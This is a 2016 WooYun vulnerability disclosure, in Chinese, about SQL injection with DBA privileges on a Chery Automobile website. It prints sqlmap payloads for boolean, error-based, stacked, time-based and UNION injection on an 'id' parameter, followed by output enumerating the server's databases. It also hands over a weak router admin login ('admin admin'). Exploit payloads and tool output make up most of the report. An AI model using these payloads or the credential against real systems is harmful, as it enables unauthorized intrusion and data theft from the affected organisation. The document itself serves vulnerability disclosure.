漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0195699
漏洞标题：奇瑞汽车某站点存在SQL注入（DBA权限可执行os-shell命令）
相关厂商：奇瑞汽车
漏洞作者： Miko
提交时间：2016-04-13 10:44
修复时间：2016-05-28 10:50
公开时间：2016-05-28 10:50
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-04-13： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-28： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
奇瑞汽车某站点存在SQL注入（DBA权限-可执行os-shell命令）
详细说明：
赠送一个H3C路由器的web管理弱口令
admin admin
漏洞证明：
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=179 AND 4567=4567
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=179 AND 3228=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(98)+CH
AR(122)+CHAR(113)+(SELECT (CASE WHEN (3228=3228) THEN CHAR(49) ELSE CHAR(48) END
))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(120)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT
(CASE WHEN (4738=4738) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CH
AR(120)+CHAR(106)+CHAR(113))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=179;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=179 WAITFOR DELAY '0:0:5'
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=179 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(98)
+CHAR(122)+CHAR(113)+CHAR(119)+CHAR(79)+CHAR(90)+CHAR(115)+CHAR(114)+CHAR(69)+CH
AR(71)+CHAR(98)+CHAR(97)+CHAR(76)+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(1
13),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[23:54:32] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[23:54:32] [INFO] fetching database names
[23:54:32] [INFO] the SQL query used returns 14 entries
[23:54:32] [INFO] resumed: A1
[23:54:32] [INFO] resumed: KRTMS
[23:54:32] [INFO] resumed: master
[23:54:32] [INFO] resumed: model
[23:54:32] [INFO] resumed: msdb
[23:54:32] [INFO] resumed: Northwind
[23:54:32] [INFO] resumed: pubs
[23:54:32] [INFO] resumed: QYTMS
[23:54:32] [INFO] resumed: RTMS
[23:54:32] [INFO] resumed: tempdb
[23:54:32] [INFO] resumed: TMS
[23:54:32] [INFO] resumed: WCTMS
[23:54:32] [INFO] resumed: WLTMS
[23:54:32] [INFO] resumed: XSGSTMS
available databases [14]:
[*] A1
[*] KRTMS
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] QYTMS
[*] RTMS
[*] tempdb
[*] TMS
[*] WCTMS
[*] WLTMS
[*] XSGSTMS
修复方案：
版权声明：转载请注明来源 Miko@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：15 (WooYun评价)